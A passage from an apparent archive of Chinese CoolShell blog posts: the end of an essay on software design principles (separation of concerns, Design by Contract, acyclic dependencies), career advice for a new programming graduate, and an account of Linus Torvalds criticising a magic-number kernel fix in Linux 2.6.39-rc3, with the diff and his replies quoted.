是计算机科学中最重要的努力目标之一。这个原则，就是在软件开发中，通过各种手段，将问题的各个关注点分开。如果一个问题能分解为独立且较小的问题，就是相对较易解决的。问题太过于复杂，要解决问题需要关注的点太多，而程序员的能力是有限的，不能同时关注于问题的各个方面。正如程序员的记忆力相对于计算机知识来说那么有限一样，程序员解决问题的能力相对于要解决的问题的复杂性也是一样的非常有限。在我们分析问题的时候，如果我们把所有的东西混在一起讨论，那么就只会有一个结果——乱。</p>\n<p>我记得在上一家公司有一个项目，讨论就讨论了1年多，项目本来不复杂，但是没有使用SoC，全部的东西混为一谈，再加上一堆程序员注入了各种不同的观点和想法，整个项目一下子就失控了。最后，本来一个1年的项目做了3年。</p>\n<p>实现关注点分离的方法主要有两种，一种是标准化，另一种是抽象与包装。标准化就是制定一套标准，让使用者都遵守它，将人们的行为统一起来，这样使用标准的人就不用担心别人会有很多种不同的实现，使自己的程序不能和别人的配合。Java EE就是一个标准的大集合。每个开发者只需要关注于标准本身和他所在做的事情就行了。就像是开发镙丝钉的人只专注于开发镙丝钉就行了，而不用关注镙帽是怎么生产的，反正镙帽和镙丝钉按标来就一定能合得上。不断地把程序的某些部分抽像差包装起来，也是实现关注点分离的好方法。一旦一个函数被抽像出来并实现了，那么使用函数的人就不用关心这个函数是如何实现的，同样的，一旦一个类被抽像并实现了，类的使用者也不用再关注于这个类的内部是如何实现的。诸如组件，分层，面向服务，等等这些概念都是在不同的层次上做抽像和包装，以使得使用者不用关心它的内部实现细节。</p>\n<p>说白了还是“高内聚，低耦合”。</p>\n<p><strong>参考</strong>：<a href=\"http://sulong.me/archives/99\">http://sulong.me/archives/99</a></p>\n<h4>Design by Contract (DbC) – 契约式设计</h4>\n<p>DbC的核心思想是对软件系统中的元素之间相互合作以及“责任”与“义务”的比喻。这种比喻从商业活动中“客户”与“供应商”达成“契约”而得来。例如：</p>\n<ul>\n<li>供应商必须提供某种产品（责任），并且他有权期望客户已经付款（权利）。</li>\n<li>客户必须付款（责任），并且有权得到产品（权利）。</li>\n<li>契约双方必须履行那些对所有契约都有效的责任，如法律和规定等。</li>\n</ul>\n<p>同样的，如果在程序设计中一个模块提供了某种功能，那么它要：</p>\n<ul>\n<li>期望所有调用它的客户模块都保证一定的进入条件：这就是模块的先验条件（客户的义务和供应商的权利，这样它就不用去处理不满足先验条件的情况）。</li>\n<li>保证退出时给出特定的属性：这就是模块的后验条件——（供应商的义务，显然也是客户的权利）。</li>\n<li>在进入时假定，并在退出时保持一些特定的属性：不变式。</li>\n</ul>\n<p>契约就是这些权利和义务的正式形式。我们可以用“三个问题”来总结DbC，并且作为设计者要经常问：</p>\n<ul>\n<li>它期望的是什么？</li>\n<li>它要保证的是什么？</li>\n<li>它要保持的是什么？</li>\n</ul>\n<p>根据Bertrand Meyer氏提出的DBC概念的描述，对于类的一个方法，都有一个前提条件以及一个后续条件，前提条件说明方法接受什么样的参数数据等，只有前提条件得到满足时，这个方法才能被调用；同时后续条件用来说明这个方法完成时的状态，如果一个方法的执行会导致这个方法的后续条件不成立，那么这个方法也不应该正常返回。</p>\n<p>现在把前提条件以及后续条件应用到继承子类中，子类方法应该满足：</p>\n<ol>\n<li>前提条件不强于基类．</li>\n<li>后续条件不弱于基类．</li>\n</ol>\n<p>换句话说，通过基类的接口调用一个对象时，用户只知道基类前提条件以及后续条件。因此继承类不得要求用户提供比基类方法要求的更强的前提条件，亦即，继承类方法必须接受任何基类方法能接受的任何条件（参数）。同样，继承类必须顺从基类的所有后续条件，亦即，继承类方法的行为和输出不得违反由基类建立起来的任何约束，不能让用户对继承类方法的输出感到困惑。</p>\n<p>这样，我们就有了基于契约的LSP，基于契约的LSP是LSP的一种强化。</p>\n<p><strong>参考</strong>：<a href=\"http://en.wikipedia.org/wiki/Design_by_contract\">http://en.wikipedia.org/wiki/Design_by_contract</a></p>\n<h4>Acyclic Dependencies Principle (ADP) – 无环依赖原则</h4>\n<p>包之间的依赖结构必须是一个直接的无环图形，也就是说，在依赖结构中不允许出现环（循环依赖）。如果包的依赖形成了环状结构，怎么样打破这种循环依赖呢？有2种方法可以打破这种循环依赖关系：第一种方法是创建新的包，如果A、B、C形成环路依赖，那么把这些共同类抽出来放在一个新的包D里。这样就把C依赖A变成了C依赖D以及A依赖D，从而打破了循环依赖关系。第二种方法是使用DIP（依赖倒置原则）和ISP（接口分隔原则）设计原则。</p>\n<p>无环依赖原则（ADP）为我们解决包之间的关系耦合问题。在设计模块时，不能有循环依赖。</p>\n<p><strong>参考</strong>：<a href=\"http://c2.com/cgi/wiki?AcyclicDependenciesPrinciple\">http://c2.com/cgi/wiki?AcyclicDependenciesPrinciple</a></p>\n<h4>后记</h4>\n<p>上面这些原则可能有些学院派，也可能太为理论，我在这里说的也比较模糊和简单，这里只是给大家一个概貌，如果想要了解更多的东西，大家可以多google一下。</p>\n<p>不过这些原则看上去都不难，但是要用好却并不那么容易。要能把这些原则用得好用得精，而不教条，我的经验如下：（我以为这是一个理论到应用的过程）</p>\n<ol>\n<li>你可以先粗浅或是表面地知道这些原则。</li>\n<li>但不要急着马上就使用。</li>\n<li>在工作学习中观察和总结别人或自己的设计。</li>\n<li>再回过头来了回顾一下这些原则，相信你会有一些自己的心得。</li>\n<li>有适度地去实践一下。</li>\n<li>Goto第 3步。</li>\n</ol>\n<p>我相信可能还会有其实一些原则，欢迎大家提供。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8961.html\"><img alt=\"从面向对象的设计模式看软件设计\" height=\"150\" src=\"../wp-content/uploads/2013/01/kiss-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8961.html\">从面向对象的设计模式看软件设计</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9949.html\"><img alt=\"IoC/DIP其实是一种管理思想\" height=\"150\" src=\"../wp-content/uploads/2013/07/inverted-bookshelf_thumb-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9949.html\">IoC/DIP其实是一种管理思想</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8745.html\"><img alt=\"如此理解面向对象编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8745.html\">如此理解面向对象编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7236.html\"><img alt=\"用Unix的设计思想来应对多变的需求\" height=\"150\" src=\"../wp-content/uploads/2012/05/Bannière-Unix-linux-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7236.html\">用Unix的设计思想来应对多变的需求</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5444.html\"><img alt=\"千万不要把 bool 设计成函数参数\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5444.html\">千万不要把 bool 设计成函数参数</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4535.html\">一些软件设计的原则</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-4-26 对程序员职业的一些建议.html",
    "content": "<html><body><p>自从四年前被CSDN采访后（“<a href=\"http://blog.csdn.net/haoel/archive/2007/07/13/1688104.aspx\" target=\"_blank\" title=\"职业规划就像软件工程\">职业规化就像软件工程</a>”），经常会有网友（尤其是刚毕业的）写邮件来问我一些程序员职业生涯的一些问题，至到今天。比如，国企还是外企的选择，一直编程有没有前途等等问题。面对这样的邮件，我感到有很大的压力，因为如果我的回复很有可能会误人一生，但我另一方面又很想帮助这些人。所以，我基本上还是会尝试回一下这样的邮件。昨天，我又回了一封。但是我心里还是有点忐忑不安。害怕说错了什么。</p>\n<p>今天，我想把我的一些思路和建议写在这里，一方面供大家参考，另一方面也想听听大家对我的评判，这样不但对更多的人有帮助，同时对我自己也是一个帮助。</p>\n<p>下面是某网友前天给我发来的邮件：</p>\n<blockquote><p>我是一个刚刚毕业的大学生，我觉得自己对于程序员这个行业感到很迷惘，所以发邮件打扰您一下，麻烦了。</p>\n<p>我今年正在找工作，我现在有几家国企的offer，百度的offer还在等待，我觉得第一份工作对我来说很重要，因为第一份基本决定了近几年或者一辈子你在哪个行业发展。家里人都是希望我签国企，但是我自己对技术很感兴趣，一直希望能在技术上面走下去，签国企虽然很轻松但是我总觉得在技术上学不到什么有用的东西，所以我个人倾向是去百度。</p>\n<p>我现在很迷惘的是，如果我一直在程序员这个行业上走下去，以后的出路应该是什么呢？还是一直到高级工程师，还是项目管理这种程度吗？</p>\n<p>我现在听很多人在说程序员必需要转行，因为一辈子在编写代码，没有什么好的出路，对于这点，您有什么看法吗？我现在才刚刚从学校毕业，对IT这个行业也不是非常了解，但是我觉得自己自学能力很强，而且确实很想学些东西，你对于一个刚刚毕业的计算机学生有什么建议吗？</p></blockquote>\n<p>信件的内容我没有改变，我相信很多人都有相似的问题。我昨天给这们朋友回复了邮件，下面是我回复内容的一个整理。欢迎大家讨论。</p>\n<p>首先，我想说的是，<strong>这些东西只是我根据我的经历给出的建议，仅仅供大家去参考</strong>，<span style=\"color: #cc0000;\"><strong>你的路你的人生要你自己决定，不要轻易的让人帮你决定，那怕是你的家人</strong></span>。</p>\n<p>如果我们把所的问题一起谈，那怎么说也说不清楚，所以，请允许我“<a href=\"https://coolshell.cn/articles/4535.html\" target=\"_blank\" title=\"一些软件设计的原则\">关键点分离原则</a>”来分开说说。</p>\n<p><span id=\"more-4561\"></span></p>\n<h4>一、对技术的热情</h4>\n<p>如果我们喜爱编程，喜爱技术的话，那么，我们就会投入热情，自己会去专研很多东西。就像你以前对某个东西痴迷一样，你可以在工作之余还在学习和专研这些东西，你会经常和人讨论这些东西。不知道你是否会和我一样有一种感觉，如果你不学习技术，你不去专研，你就怕被淘汰，你就会感到不舒服。</p>\n<p>所以，我们一定要问我们自己一下，我们自己喜欢技术吗？喜欢技术到什么程度。只是感兴趣还是喜欢？这两个不一样。<strong>兴趣能让你开始让你执着，但只有喜爱才会投入热情，只有投入热情才可能会出成绩</strong>。这个问题你要问问自己。</p>\n<ol>\n<li>你有多大的热情在这个事业上？</li>\n<li>你对你自己的自我价值的实现的诉求有多大？</li>\n</ol>\n<p>如果你很有热情，可能到了有些痴迷的程度的话，比如，你会因为专研某个问题，学习某个东西，尝试某个东西，达到废寝忘食的程度，而且以些为乐，那么我非常建议你走技术的路线。</p>\n<h4>二、对技术的能力</h4>\n<p>有兴趣，有热情，并不代表你就一定行。你需要很清楚地认识到，你还需要有能力（我在《<a href=\"https://coolshell.cn/articles/4506.html\" target=\"_blank\" title=\"再谈“我是怎么招聘程序员的”（上）\">再谈“我是怎么招聘程序员”</a>》一文中说了程序员的四个事，操作技能，知识，经验，和能力，大家可以去看看我对“能力”的定义）。你需要反思和重审一下自己是否有能力，你的学习能力怎么样，是经常需要问人，还是可以自己专研？你的思路怎么样，是否能被有经验的人认可，还是能够影响别人？</p>\n<p><strong>兴趣和热情只能让你很执着，但并不一定能让你走好这条路，只有你的能力和你的强项才能让你走好这条路</strong>。希望大家能够清楚地认识到这其中的差别。</p>\n<p>所以，你一定要对自己做出一个判断，要学会反思，如果你是有能力的适合走技术路线的人，那以我非常建议你走技术路线。</p>\n<p>我也尝试创过业，但我觉得我这种人是“谋士”，不是能攻城拔寨的“将军”，创业更需要的是“将军”，我目前只能是一个辅佐他们的“谋士”，所以，我也只能尽力能成为一个级别高点的“谋士”。</p>\n<h4>三、再说说工作的事</h4>\n<p>我比较同意的”第一份基本决定了近几年或者一辈子你在哪个行业发展”，但又有一点点不是很同意。因为我毕业的时候，在银行混了两年，然后又去一个国企业呆了2年。所以，第一份工作并没有影响我的职业。但是，我必需承认——当我从银行出来的时候，我落后了，落后了还很多，我花了近5-6年的时候才把这个差距追了回来。</p>\n<p>所以，我有几个观点想告诉大家：</p>\n<p><strong> </strong></p>\n<ul>\n<li><span style=\"font-weight: normal;\">第一份工作并不决定你的人生</span><strong><span style=\"font-weight: normal;\">。因为你可以在2年内换工作。但是你头四年的做的事会对你的职业有影响。这里，我有两个案例分享一下。（我不用说太多了，相信大家自己能体会）</span></strong>\n<ul>\n<li>一个是我的同学70后，他以前是程序员，干了5/6年后不想干了，想转行，结果转不了，因为他的工作经历让他很难转行了，他问了一下自己是否愿意和那些刚毕业的80后拿一样的工作一起竞争，最后他自己都不愿意。后来，他去读了MBA，现在还做IT，现在做一些业务咨询方面的工作。不能算失败，但是时间浪费了。</li>\n<li>还有一个是我的同事，她CS专业毕业想做程序员，但最后为了进一个好的公司只能做QA，现在4年多了，她很想很想做dev，但是却抱怨工作没有给她这样的机会，4年多的QA经验让她很难成为Dev了。我从她做QA一年的时候就在和她说，如果你想做Dev，你就要有技术储备，多和dev在一起工作，QA又怎么样，如果我能读Dev的代码，我总有一天会成为Dev的。事实证明，她对技术并没有太多热情。现在也只能得过且过了。</li>\n</ul>\n</li>\n</ul>\n<ul>\n<li>如果你觉得自己在技术有自信有热情，而且已经有一些成绩了，我强烈建议你去IT公司中锻炼，越尊重技术的的IT公司越好。就像打球一样，只有和比你厉害的人一起玩，你才会得提高。</li>\n</ul>\n<ul>\n<li>如果你对技术的热情一般，也没有太多的自我价值的追求，也不想拼搏，而且对吃大锅饭不反感，对没有激情的工作不反感的话，那么，你应该去事业单位，当个公务员，走走常规则的人生，养养老也不错。这里，我多说一句，根据中国的现在国情来看，如果你有自我价值的诉求，你要去大城市，去好的公司，走体制外的路线，如果你又不想来大城市 ，只想呆在地方的话，那么，我个人非常建议你走体制内的路线，在地方，只有体制内的路线是最好的。</li>\n</ul>\n<ul>\n<li>千万别去一些没有前途的小公司（要去小公司你得看看这个公司的人和业务），很多不起眼的小公司现在都变大了，能和一个公司一起成长是相当难得的（我现在就特别想要这方面的经历），现在这个社会，与其去那些很难成长为大公司的小的很不规范的公司，还不如自己创业。（<strong>更新2011/4/26</strong>：<a href=\"#comment-48180\">@islet8  </a>  回复中的观点可能比我的更好——“我觉得第一份工作能尽量进大公司的确是有好处的，能够帮你建立起一套规范的、成熟的工作习惯了思维方式，经过一两年（在激情还没被磨灭之前）再挑一个靠谱的、能赌上自己前途的小公司（比如同事朋友等推荐过去的或是他们联合创立的）一起成长一遍，无论公司的成败，对个人来说，那都是成功了”）</li>\n</ul>\n<h4>四，技术可以做多长</h4>\n<p>在这里，我用我自己经历做个例子，我在软件编程上有14年了（加上大学里的项目就有16年了），虽然我今天是经理了，但是我还是喜欢编程。我以前也听到过别人说的——做技术太辛苦，没前途。我并不这样觉得，因为我觉得技术是实实在在的东西，很实在，这让我很踏实，踏实的感觉得好。因为，</p>\n<ul>\n<li>我个人觉得真正的稳定是，今天我离开 这个公司，我明天就能找到相应的工作。</li>\n<li>如果我的工作不成问题了，那么我就可以从谋生上升到事业的层次来。</li>\n<li>只有到了事业这个层次，我才能有所建树。</li>\n</ul>\n<p>另外，我觉得说出来的那些话的人要么就是“小猫钓鱼”的那些人，要么就是短视的人，你可以问问他们，哪个非技术的行业有前途，然后你去问问从事那个行业的人怎么样看？我15年来都在编程，虽然走了一些弯路，但是我很感谢那些中途退缩者，是他们让我这15年变得更有价值。15年从事同一个件事，这让我很有竞争力。有了竞争力，我的工作才不会是一个问题，我才能上升上事业的层次上来。</p>\n<p>当然，如果你发现你不适合，你无法坚持，那么我建议你还是想清楚，别的行业你能坚持吗？<strong>我们不害怕转行，害怕的是自己对自己缺乏认识，害怕的是小猫钓鱼，害怕的是一山望比一山高</strong>。</p>\n<h4>五，待遇和职位</h4>\n<p>比如你的职位，薪水，福利，等，我从来都不是很关心这些东西，这些都是次要的（其次重要的），最重要的是你的能力和经历，是那些可以写在你简历上的，让你引以自豪的经历和能力。（一定要自己引以自豪）。<strong>而你的职位，薪水，只不过是你能力和经历的附属品</strong>。</p>\n<p>把自己对待遇和职位的那个目标放在心里，踏踏实实做好今天的事，炼好自己的内功，注重经验的积累和总结，等待一个能让你量变引发质变的机会，用你的能力抓住它不要放手，你会发现你的路就在前方，通往这条路的门不知不觉已经开了。功到自然成，水到渠成。</p>\n<p>以上是我的一些建议，不一定对，其可能因为我的个人经历有局限，还希望听道大家的讨论和指点。</p>\n<p><span style=\"color: #cc0000; font-size: 14px;\"><strong>（请勿用于商业用途，转载时请注明作者和出处）</strong></span><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4561.html\">对程序员职业的一些建议</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-4-27 Linux 2.6.39-rc3的一个插曲.html",
    "content": "<html><body><p>2011年4月12日，Linux 2.6.39-rc3发布了，Linus Torvalds写了一个<a href=\"http://thread.gmane.org/gmane.linux.kernel/1124982\">发布邮件</a>，其中包含了一个长长的为这个版本做过贡献的人员名单，这个名单中有很多看上去应该是中国人的名字，我挺为他们感到骄傲的（不知道你是否还记得以前本站的”<a href=\"https://coolshell.cn/articles/1360.html\" target=\"_blank\" title=\"谁写了Linux\">Linux是由谁写的</a>“）。</p>\n<p>不过，没过一会，发现了一个bug，经过大家的调查（2.6.38版没有发现这个问题），很快，找到了原因，是因为一个内存地址的问题，一个叫Yinghai Lu的人（看其名字应该是中国人，其邮件是@kernel.org）<a href=\"http://thread.gmane.org/gmane.linux.kernel/1124982/focus=1126082\" target=\"_blank\">找到了原因</a>—— radeon card使用了一个不正确的内存地址[0xa0000000 – 0xc000000]。Joerg Roedel跟贴说，这个地址超出了4GB的内存，然后他和Alex Deucher聊了一会，觉得不应该是这个问题，因为这个地址应该是GPU的，而不是系统内存的。</p>\n<p>好像，Yinghai Lu没有理会他们说的不应该是这个问题，<a href=\"http://thread.gmane.org/gmane.linux.kernel/1124982/focus=1126133\" target=\"_blank\">给出了个fix</a>：</p>\n<pre class=\"EnlighterJSRAW\">\ndiff --git a/arch/x86/kernel/aperture_64.c b/arch/x86/kernel/aperture_64.c\nindex 86d1ad4..3b6a9d5 100644\n--- a/arch/x86/kernel/aperture_64.c\n+++ b/arch/x86/kernel/aperture_64.c\n@@ -83,7 +83,7 @@ static u32 __init allocate_aperture(void)\n \t * so don't use 512M below as gart iommu, leave the space for kernel\n \t * code for safe\n \t */\n-\taddr = memblock_find_in_range(0, 1ULL&lt;&lt;32, aper_size, 512ULL&lt;&lt;20);\n+\taddr = memblock_find_in_range(0, 1ULL&lt;&lt;32, aper_size, 512ULL&lt;&lt;21);\n  \tif (addr == MEMBLOCK_ERROR || addr + aper_size &gt; 0xffffffff) {\n \t\tprintk(KERN_ERR\n \t\t\t\"Cannot allocate aperture memory hole (%lx,%uK)\\n\",\n</pre>\n<p>看到这个fix，Linus Torvalds不高兴了，他回贴问道：</p>\n<ul>\n<li>为什么全都是Magic Numbers？</li>\n<li>为什么0x80000000就那么特殊？</li>\n<li>为什么我们这样改就行？</li>\n</ul>\n<p>还说了这样一句话——</p>\n<p><span id=\"more-4576\"></span></p>\n<blockquote><p>This kind of “I broke things, so now I will jiggle things randomly until they unbreak” is not acceptable. 这种“我把事搞砸了，就随意地调整直到事情又工作”的方式是不可接受的。</p></blockquote>\n<p>还说，这里即没有说明为什么我们fix在了正确的地方（也没有解释那些Magic Number是什么），也没有回滚那个有问题的patch。还说——</p>\n<blockquote><p>Don’t just make random changes. There really are only two acceptable models of development: “think and analyze” or “years and years of testing on thousands of machines”. Those two really do work.</p>\n<p>不要乱改。那里只有两个可行的开发模式：“思考和分析” 或是 “数年数年地不断地在几千台机器上测试”。这两个方式才是真正可行的。</p></blockquote>\n<p>当然，Yinghai Lu对<a href=\"http://thread.gmane.org/gmane.linux.kernel/1124982/focus=1126154\" target=\"_blank\">其做了解释</a>，说我们的确调查过了，老的代码用的内存地址是0x80000000，新的则是用0xa0000000，而0xa0000000不工作。这又引发了 Linus Torvalds 的<a href=\"http://thread.gmane.org/gmane.linux.kernel/1124982/focus=1126216\" target=\"_blank\">不满的回贴</a>。Linus说——</p>\n<blockquote><p>Yinghai, we have had this discussion before, and dammit, you need to understand the difference between “understanding the problem” and “put in random values until it works on one machine”.</p>\n<p>Yinghai，我们以前谈过这个事，该死的，你真的需要明白“理解一个错误”和“设一个随意的值直到其正常工作”的区别。</p>\n<p>There was absolutely _<span style=\"text-decoration: underline;\">zero</span>_ analysis done. You do not actually understand WHY the numbers matter. You just look at two random numbers, and one works, the other does not. That’s not “analyzing”. That’s just “random number games”.</p>\n<p>这里就根本没有分析。你没有直正的明白<strong>为什么</strong>这些数字能行。你只看了两个随机的数，一个能行，另一个不行。这不是“分析”，这叫“随机数游戏”。</p>\n<p>If you cannot see and understand the difference between an actual analytical solution where you _<span style=\"text-decoration: underline;\">understand</span>_ what the code is doing and  why, and “random numbers that happen to work on one machine”, I don’t know what to tell you.</p>\n<p>一个解决方案真正经过分析了那段代码干什么的为什么的，另一个是“随机数字可以让其在一台机器上运转”，如果你不能看到和理解他们之间的不同，那我不知道要和你说什么了。</p></blockquote>\n<p>然后，Linus Torvalds进行了谆谆教导——（相当的受用啊）</p>\n<blockquote><p>Let me repeat my point one more time.</p>\n<p>让我再一次重复一下我的观点</p>\n<p>You have TWO choices. Not more, not less:</p>\n<p>你有两个选择，不多也不少：</p>\n<p>– choice #1: go back to the old allocation model. It’s tested. It doesn’t regress. Admittedly we may not know exactly _<span style=\"text-decoration: underline;\">why</span>_ it works, and it might not work on all machines, but it doesn’t cause regressions (ie the machines it doesn’t work on it _<span style=\"text-decoration: underline;\">never</span>_ worked on).</p>\n<p>– <strong>选择一</strong>：回滚到老的分配模式。那是测试过的。它过了回归测试。诚然，我们也许不知道<strong>为什么</strong>那样能行，并且，即使是那样也不一定能在所有的机器上工作，但是其没有让回归测试有问题（这个代码<strong>永不可能</strong>在不能运行的系统上运行）</p>\n<p>And this doesn’t mean “old value for that _<span style=\"text-decoration: underline;\">one</span>_ machine”. It means “old value for _<span style=\"text-decoration: underline;\">every</span>_ machine”. So it means we revert the whole bottom-down thing entirely. Not just “change one random number so that the totally different allocation pattern happens to give the same result on one particular machine”.</p>\n<p>这并不代表“老的值只能在一台机器上工作”。这代表“老的值可以工作在每一台机器上”。所以，我们需要回滚整个代码改动。而不只是“为了一个特别的机器去修改一个和以前完全不一样的随机数”。</p>\n<p>– Choice #2: understand exactly _<span style=\"text-decoration: underline;\">what</span>_ goes wrong, and fix it analytically (ie by _<span style=\"text-decoration: underline;\">understanding</span>_ the problem, and being able to solve it exactly, and in a way you can argue about without having to resort to “magic happens”).</p>\n<p>– 选择二：真正搞清楚为什么会错，并且有分析地修改他（理解问题才能真正解决之，并且，只有没有“魔法发生”的时候你才可以来争论）</p>\n<p>Now, the whole analytic approach (aka “computer sciency” approach), where you can actually think about the problem without having any pesky “reality” impact the solution is obviously the one we tend to prefer. Sadly, it’s seldom the one we can use in reality when it comes to things like resource allocation, since we end up starting off with often buggy approximations of what the actual hardware is all about (ie broken firmware tables).</p>\n<p>现在，整个分析方法（亦称作“计算机科学”的方法）应该是你可以在没有在外界干扰下真正思考这个问题而得到的解决方案，这很明显是我们推崇的。只有在极罕见地情况下我们可以在有外界干扰下分析这种资源分配的事，因为我们只有了解倒底是什么样的硬件，我们才能最终远离bug（如：错误的固件表）</p>\n<p>So I’d love to know exactly why one random number works, and why another one doesn’t. But as long as we do _<span style=\"text-decoration: underline;\">not</span>_ know the “Why” of it, we will have to revert.</p>\n<p>所以，我希望你能知道为什么一个随机数能行，而另一个不行。只要我们不知道，那么我们就不得和回滚整个改动。</p>\n<p>It really is that simple. It’s _<span style=\"text-decoration: underline;\">always</span>_ that simple.</p>\n<p>这真的是很简单，而且这<strong>一直</strong>是那么简单。</p>\n<p>So the numbers shouldn’t be “magic”, they should have real explanations. And in the absense of real explanation, the model that works is “this is what we’ve always done”. Including, very much, the whole allocation order. Not just one random number on one random machine.</p>\n<p>所以，那些数不应该是“magic”的，他们应该有真正的说明。在有真正的说明的情况下，我们的开发模式才会工作。其包括了整个分配顺序。不只是那个在任意机器上的随机数。</p>\n<p style=\"text-align: center;\">Linus</p>\n</blockquote>\n<p style=\"text-align: left;\">后面的事不用说了。我没有想到Linux 内核组会有像Yinghai这样工作的方式，毕竟这是一个黑客级的开发团队。我个人对这个乱写代码的人执零容忍的态度，不管你干过什么，不管你哪里毕业的，不管你简历怎么样，不求甚解随意写代码的人我无法接受。我不知道Yinghai Lu会怎么样想，他/她会像我在“<a href=\"https://coolshell.cn/articles/3980.html\" target=\"_blank\" title=\"程序员那些悲催的事儿\">程序员那些悲催的事儿</a>”中谈我经历那样知耻而后勇吗？能得到Linus的教导真是一件很不错的事。虽然，Linus教导的这些东西，都应该是程序员最最最基本的技能。<strong>fix bug一定要fix在root cause上啊</strong>，<strong>了解一个问题，不但要知其然，还要知其所以然啊</strong>，这都是老生长谈了。本站有很多提高程序员能力的文章，比如，<a href=\"https://coolshell.cn/articles/222.html\" target=\"_blank\" title=\"优秀程序员的十个习惯\">这篇</a>，<a href=\"https://coolshell.cn/articles/1007.html\" target=\"_blank\" title=\"优质代码的十诫\">这篇</a>，还有<a href=\"https://coolshell.cn/articles/2606.html\" target=\"_blank\" title=\"五个方法成为更好的程序员\">这篇</a>。</p>\n<p 